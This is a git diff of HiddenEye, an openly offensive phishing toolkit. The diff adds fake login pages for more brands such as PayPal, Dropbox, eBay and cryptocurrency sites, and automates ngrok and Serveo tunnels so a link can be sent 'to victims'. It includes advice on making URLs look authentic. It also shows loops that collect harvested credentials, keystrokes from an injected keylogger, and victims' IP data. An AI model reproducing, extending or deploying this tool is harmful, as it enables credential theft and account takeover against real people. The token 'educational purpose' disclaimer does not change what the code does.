diff --git a/Defs/Actions.py b/Defs/Actions.py index 5beaa70..594c916 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -30,11 +30,11 @@ def runPhishing(page , customOption): #Phishing pages selection menu system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ ') if customOption == '1' and page == 'Facebook': copy_tree("WebPages/fb_standard/", "Server/www/") - if customOption == '2' and page == 'Facebook': + elif customOption == '2' and page == 'Facebook': copy_tree("WebPages/fb_advanced_poll/", "Server/www/") - if customOption == '3' and page == 'Facebook': + elif customOption == '3' and page == 'Facebook': copy_tree("WebPages/fb_security_fake/", "Server/www/") - if customOption == '4' and page == 'Facebook': + elif customOption == '4' and page == 'Facebook': copy_tree("WebPages/fb_messenger/", "Server/www/") elif customOption == '1' and page == 'Google': copy_tree("WebPages/google_standard/", "Server/www/") @@ -90,8 +90,35 @@ def runPhishing(page , customOption): #Phishing pages selection menu copy_tree("WebPages/protonmail/", "Server/www/") elif page == 'Spotify': copy_tree("WebPages/spotify/", "Server/www/") + elif page == 'Quora': + copy_tree("WebPages/quora/", "Server/www/") + elif page == 'PornHub': + copy_tree("WebPages/pornhub/", "Server/www/") + elif page == 'Adobe': + copy_tree("WebPages/adobe/", "Server/www/") + elif page == 'Badoo': + copy_tree("WebPages/badoo/", "Server/www/") + elif page == 'CryptoCurrency': + copy_tree("WebPages/cryptocurrency/", "Server/www/") + elif page == 'DevianArt': + copy_tree("WebPages/devianart/", "Server/www/") + elif page == 'DropBox': + copy_tree("WebPages/dropbox/", "Server/www/") + elif page == 'eBay': + copy_tree("WebPages/ebay/", "Server/www/") + elif page == 'MySpace': + copy_tree("WebPages/myspace/", "Server/www/") + elif page == 'PayPal': + copy_tree("WebPages/paypal/", "Server/www/") + elif page == 'Shopify': + copy_tree("WebPages/shopify/", "Server/www/") + elif page == 'Verizon': + copy_tree("WebPages/verizon/", "Server/www/") + elif page == 'Yandex': + copy_tree("WebPages/yandex/", "Server/www/") + else: - exit(0) + endMessage() @@ -103,18 +130,27 @@ def selectServer(): #Question where user must select server | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ HOST SERVER SELECTION ]{1}!! {0}\n-------------------------------''').format(RED, CYAN)) - print(_("\n {1}[{0}!{1}]{1}SERVEO IS MORE ADVANCED THAN NGROK.\n {1}[{0}!{1}]{1}STILL ITS YOUR CHOICE{1}").format(RED, CYAN)) + print(_("\n {1}[{0}!{1}]{1}(SERVEO WORKS BETTER)").format(RED, CYAN)) print(_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(RED, DEFAULT)) print(_("\n {0}[{1}1{0}]{1}Ngrok\n {0}[{1}2{0}]{1}Serveo").format(RED, CYAN)) choice = input(" \n{0}HiddenEye >>> {2}".format(RED, DEFAULT, CYAN)) - if choice == '1': - print(_("\n {1}[{0}^{1}]{0} We are working to fix it ...\n {1}[{0}^{1}]{1} Still You can Use Ngrok, But You have to do it Manually, Not a Big Deal.\n\n {1}[{0}!{1}]{1} JUST FOLLOW THESE STEPS... \n ~ Open another terminal & goto HiddenEye Cloned Folder.\n ~ Now type this command...\n{1} ({0}./Server/ngrok http 1111{1}) \n ~ {1}Everything Completed, Just Send the Ngrok Generated Link To Your Victim..\n\n {1}[{0}!{1}]{1} PRESS ENTER TO GO BACK TO SERVER SELECTION. \n").format(RED, CYAN)) + if choice == '1': + + print(_(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ NGROK SERVER PROCEDURE ]{1}!! {0}\n-------------------------------''').format(RED, CYAN)) + print(_("\n {1}[{0}!{1}]{0} THIS SCRIPT WILL TERMINATE AND NGROK WILL BE LAUNCHED.\n {1}[{0}!{1}]{0} SEND THOSE GENERATED NGROK URL TO VICTIM. \n {1}[{0}!{1}]{0} GET THE VICTIM DETAILS IN ({1}Server/www{0}) FOLDER IN HIDDENEYE DIRECTORY. \n {1}[{0}+{1}]{0} PRESS ENTER TO LAUNCH NGROK SERVER. \n").format(RED, CYAN, DEFAULT)) input('') - return selectServer() + system('./Server/ngrok http 1111') + elif choice == '2': system('clear') runServeo() + else: system('clear') return selectServer() @@ -125,7 +161,7 @@ def runServeo(): |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers - {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ SERVEO URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n{0}[{1}!{0}]{1}REMEMBER ? Custom Url's generating Can irritate you.\n{0}[{1}!{0}]{1}As the Serveo becomes popular, Getting a desired domain may be tough. ''').format(RED, CYAN)) + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ SERVEO URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n{0}[{1}!{0}]{1}REMEMBER ? Serveo Don't Allows Phishing.\n{0}[{1}!{0}]{1}They Drops The Connection Whenever Detects Phishing. ''').format(RED, CYAN)) print(_("\n{0}[{1}*{0}]{0}CHOOSE ANY SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}").format(RED, CYAN)) print(_("\n{0}[{1}1{0}]{1}Custom URL {0}(Generates desired url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)").format(RED, CYAN)) choice = input("\n\n{0}YOUR CHOICE >>> {2}".format(RED, DEFAULT, CYAN)) @@ -146,7 +182,7 @@ def customServeo(): |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers - {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL's \n{0}[{1}!{0}]{1} Again ? Use Your Social-engineering Skills Here.\n\n{0}Insert a custom subdomain for serveo''').format(RED, CYAN)) + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for serveo''').format(RED, CYAN)) lnk = input(_("\n{0}CUSTOM Subdomain>>> {2}").format(RED, DEFAULT, CYAN)) if not ".serveo.net" in lnk: lnk += ".serveo.net" @@ -157,6 +193,13 @@ def customServeo(): try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",shell=True) url = str(output).strip("b ' \ n r") + system('clear') + print(_(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------''').format(RED, CYAN)) print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:1111\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, CYAN, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n") @@ -180,18 +223,18 @@ def randomServeo(): try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",shell=True) url = str(output).strip("b ' \ n r") - print("\n{0}[{1}!{0}]{1}SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:1111\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, CYAN, GREEN) + url + "{1}".format(RED, CYAN, GREEN)) + print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:1111\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n") except CalledProcessError: sleep(4) system('clear') - return randomServeo() + return randomServeo() def runMainMenu(): #menu where user select what they wanna use if 256 != system('which php > /dev/null'): #Checking if user have PHP - print (_("{2}* {0}PHP INSTALLATION FOUND").format(CYAN, DEFAULT, RED)) + print (_(" {2}* {0}PHP INSTALLATION FOUND").format(CYAN, DEFAULT, RED)) else: print (_("{0}**{2} PHP NOT FOUND: \n {0}~{1} Please install PHP and run me again.http://www.php.net/").format(CYAN, DEFAULT, RED)) @@ -206,6 +249,7 @@ def runMainMenu(): #menu where user select what they wanna use print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n').format(RED, DEFAULT)) exit(0) +def mainMenu(): system('clear') print (_(''' @@ -217,18 +261,18 @@ def runMainMenu(): #menu where user select what they wanna use v{3}0{1}.{3}2{1}.{3}6{1} BY:DARKSEC{2} {3}[{2} Modern Phishing Tool With Advanced Functionality {3}] -{3}[{2} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-BROWSER HOOKING-SOCIALENGINEERING {3}] +{3}[{2} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {3}] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~''').format(GREEN, DEFAULT, CYAN, RED)) print (_("------------------------\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n------------------------").format(RED, CYAN)) - print (_(" {0}[{1}1{0}]{1} Facebook {0}[{1}10{0}]{1} Yahoo {0}[{1}19{0}]{1} Pinterest ").format(RED, CYAN)) - print (_(" {0}[{1}2{0}]{1} Google {0}[{1}11{0}]{1} Twitch {0}[{1}20{0}]{1} ProtonMail ").format(RED, CYAN)) - print (_(" {0}[{1}3{0}]{1} LinkedIn {0}[{1}12{0}]{1} Microsoft {0}[{1}21{0}]{1} Spotify").format(RED, CYAN)) - print (_(" {0}[{1}4{0}]{1} GitHub {0}[{1}13{0}]{1} Steam ").format(RED, CYAN)) - print (_(" {0}[{1}5{0}]{1} StackOverflow {0}[{1}14{0}]{1} VK ").format(RED, CYAN)) - print (_(" {0}[{1}6{0}]{1} WordPress {0}[{1}15{0}]{1} iCloud ").format(RED, CYAN)) - print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab ").format(RED, CYAN)) - print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix ").format(RED, CYAN)) - print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin ").format(RED, CYAN)) + print (_(" {0}[{1}1{0}]{1} Facebook {0}[{1}10{0}]{1} Yahoo {0}[{1}19{0}]{1} Pinterest {0}[{1}28{0}]{1} DropBox ").format(RED, CYAN)) + print (_(" {0}[{1}2{0}]{1} Google {0}[{1}11{0}]{1} Twitch {0}[{1}20{0}]{1} ProtonMail {0}[{1}29{0}]{1} eBay").format(RED, CYAN)) + print (_(" {0}[{1}3{0}]{1} LinkedIn {0}[{1}12{0}]{1} Microsoft {0}[{1}21{0}]{1} Spotify {0}[{1}30{0}]{1} MySpace").format(RED, CYAN)) + print (_(" {0}[{1}4{0}]{1} GitHub {0}[{1}13{0}]{1} Steam {0}[{1}22{0}]{1} Quora {0}[{1}31{0}]{1} PayPal").format(RED, CYAN)) + print (_(" {0}[{1}5{0}]{1} StackOverflow {0}[{1}14{0}]{1} VK {0}[{1}23{0}]{1} PornHub {0}[{1}32{0}]{1} Shopify").format(RED, CYAN)) + print (_(" {0}[{1}6{0}]{1} WordPress {0}[{1}15{0}]{1} iCloud {0}[{1}24{0}]{1} Adobe {0}[{1}33{0}]{1} Verizon").format(RED, CYAN)) + print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab {0}[{1}25{0}]{1} Badoo {0}[{1}34{0}]{1} Yandex").format(RED, CYAN)) + print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix {0}[{1}26{0}]{1} CryptoCurrency ").format(RED, CYAN)) + print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin {0}[{1}27{0}]{1} DevianArt ").format(RED, CYAN)) option = input(_("{0}HiddenEye >>> {1}").format(RED, CYAN)) if option == '1': loadModule('Facebook') @@ -313,9 +357,62 @@ def runMainMenu(): #menu where user select what they wanna use elif option == '21': loadModule('Spotify') customOption = '' - runPhishing('Spotify', customOption) + runPhishing('Spotify', customOption) + elif option == '22': + loadModule('Quora') + customOption = '' + runPhishing('Quora', customOption) + elif option == '23': + loadModule('PornHub') + customOption = '' + runPhishing('PornHub', customOption) + elif option == '24': + loadModule('Adobe') + customOption = '' + runPhishing('Adobe', customOption) + elif option == '25': + loadModule('Badoo') + customOption = '' + runPhishing('Badoo', customOption) + elif option == '26': + loadModule('CryptoCurrency') + customOption = '' + runPhishing('CryptoCurrency', customOption) + elif option == '27': + loadModule('DevianArt') + customOption = '' + runPhishing('DevianArt', customOption) + elif option == '28': + loadModule('DropBox') + customOption = '' + runPhishing('DropBox', customOption) + elif option == '29': + loadModule('eBay') + customOption = '' + runPhishing('eBay', customOption) + elif option == '30': + loadModule('MySpace') + customOption = '' + runPhishing('Myspace', customOption) + elif option == '31': + loadModule('PayPal') + customOption = '' + runPhishing('PayPal', customOption) + elif option == '32': + loadModule('Shopify') + customOption = '' + runPhishing('Shopify', customOption) + elif option == '33': + loadModule('Verizon') + customOption = '' + runPhishing('Verizon', customOption) + elif option == '34': + loadModule('Yandex') + customOption = '' + runPhishing('Yandex', customOption) + else: - exit(0) + endMessage() def loadModule(module): #This one just show text.. print (_(''' {0} @@ -377,9 +474,6 @@ def addingkeylogger(): addkeylogger() else: sleep(1) - - - def addkeylogger(): if path.exists('Server/www/index.html'): @@ -402,11 +496,17 @@ def addkeylogger(): sleep(2) def runServer(): - system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null ") + system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null &") + + def endMessage(): #Message when HiddenEye exit - system('clear') - print (_(''' + choice = input("\n\n{0}[{1}?{0}] Press '1' To Run Script Again {1}|{0} Press 'ENTER' To Exit\n{0} >> {2}".format(RED, DEFAULT, CYAN)) + if choice == '1': + system('python3 HiddenEye.py') + elif choice == '': + system('clear') + print (_(''' {3}HIDDEN EYE {3}BY: DARKSEC TEAM {1}https://github.com/DarkSecDevelopers/HiddenEye @@ -419,20 +519,23 @@ def endMessage(): #Message when HiddenEye exit [{3}!{0}] WE WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS TOOL {3} [[*]] THANKS TO USE THIS TOOL. HAPPY HACKING ... GOOD BYE \n ''').format(CYAN, CYAN, DEFAULT, RED)) - + else: + system('clear') + return endMessage() + def getCredentials(): - print(_("{0}[{1}!{0}]{1} IF FOUND {2}SEGMENTATION FAULT{1}, IT MEANS THE SERVER FAILED. \n{0}[{1}!{0}]{1} THEN YOU HAVE TO RUN IT AGAIN.\n{0}[{1}^{0}]{1} Use This Command in another terminal\n ({2}cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null{0}) \n\n").format(CYAN, CYAN, RED)) - print(_("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n").format(RED, CYAN)) + print(_("{2}.........................................................................\n{0}[{1}!{0}]{1} IF FOUND {2}SEGMENTATION FAULT{1}, IT MEANS THE SERVER FAILED. {2}| \n{0}[{1}!{0}]{1} THEN YOU HAVE TO RUN IT AGAIN. {2}| \n{0}[{1}!{0}]{1} Use This Command In Another Terminal. {2}| \n{0}({2}cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null{0}) {2}| \n{2}......................................................................... \n\n").format(CYAN, CYAN, RED)) + print(_("{0}[{1}*{0}]{1} Waiting For Victim Interaction. Keep Eyes On Requests Coming From Victim ... \n\n{2}++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n").format(RED, CYAN, DEFAULT)) while True: with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - writeLog('..................................................................'.format(RED, DEFAULT)) - writeLog(_(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}{2}{1}').format(CYAN, RED, lines)) + writeLog('{0}..................................................................'.format(RED, DEFAULT)) + writeLog(_(' {0}[{1} CREDENTIALS FOUND {0}]{1}:\n {0}{2}{1}').format(CYAN, RED, lines)) system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt') - writeLog('..................................................................'.format(RED, DEFAULT)) + writeLog('{0}..................................................................'.format(RED, DEFAULT)) creds.close() @@ -464,10 +567,10 @@ def getCredentials(): with open('Server/www/KeyloggerData.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - writeLog('...............................'.format(RED, DEFAULT)) - writeLog(_(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}').format(RED, CYAN) % lines) + writeLog('{0}...............................'.format(RED, DEFAULT)) + writeLog(_(' {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n {0}%s{1}').format(RED, CYAN) % lines) system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt') - writeLog('...............................'.format(RED, DEFAULT)) + writeLog('{0}...............................'.format(RED, DEFAULT)) creds.close() diff --git a/Defs/Checks.py b/Defs/Checks.py index 7adb159..0aab3f8 100644 --- a/Defs/Checks.py +++ b/Defs/Checks.py @@ -16,9 +16,10 @@ languageSelector() def checkConnection(host='https://google.com'): #Connection check + system('clear') try: urlopen(host) - print(_("{0}Successful connection!{1}").format(GREEN, DEFAULT)) + print(_("{0}HURRAY!! Internet is available.. We can Continue{1}").format(GREEN, DEFAULT)) return True except: return False @@ -29,7 +30,7 @@ if checkConnection() == False: |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} - {0}[{1}!{0}]{1} Network error. Verify your connection.\n + {0}[{1}!{0}]{1} ^Network error^. Verify your Internet connection.\n ''').format(RED, DEFAULT)) exit(0)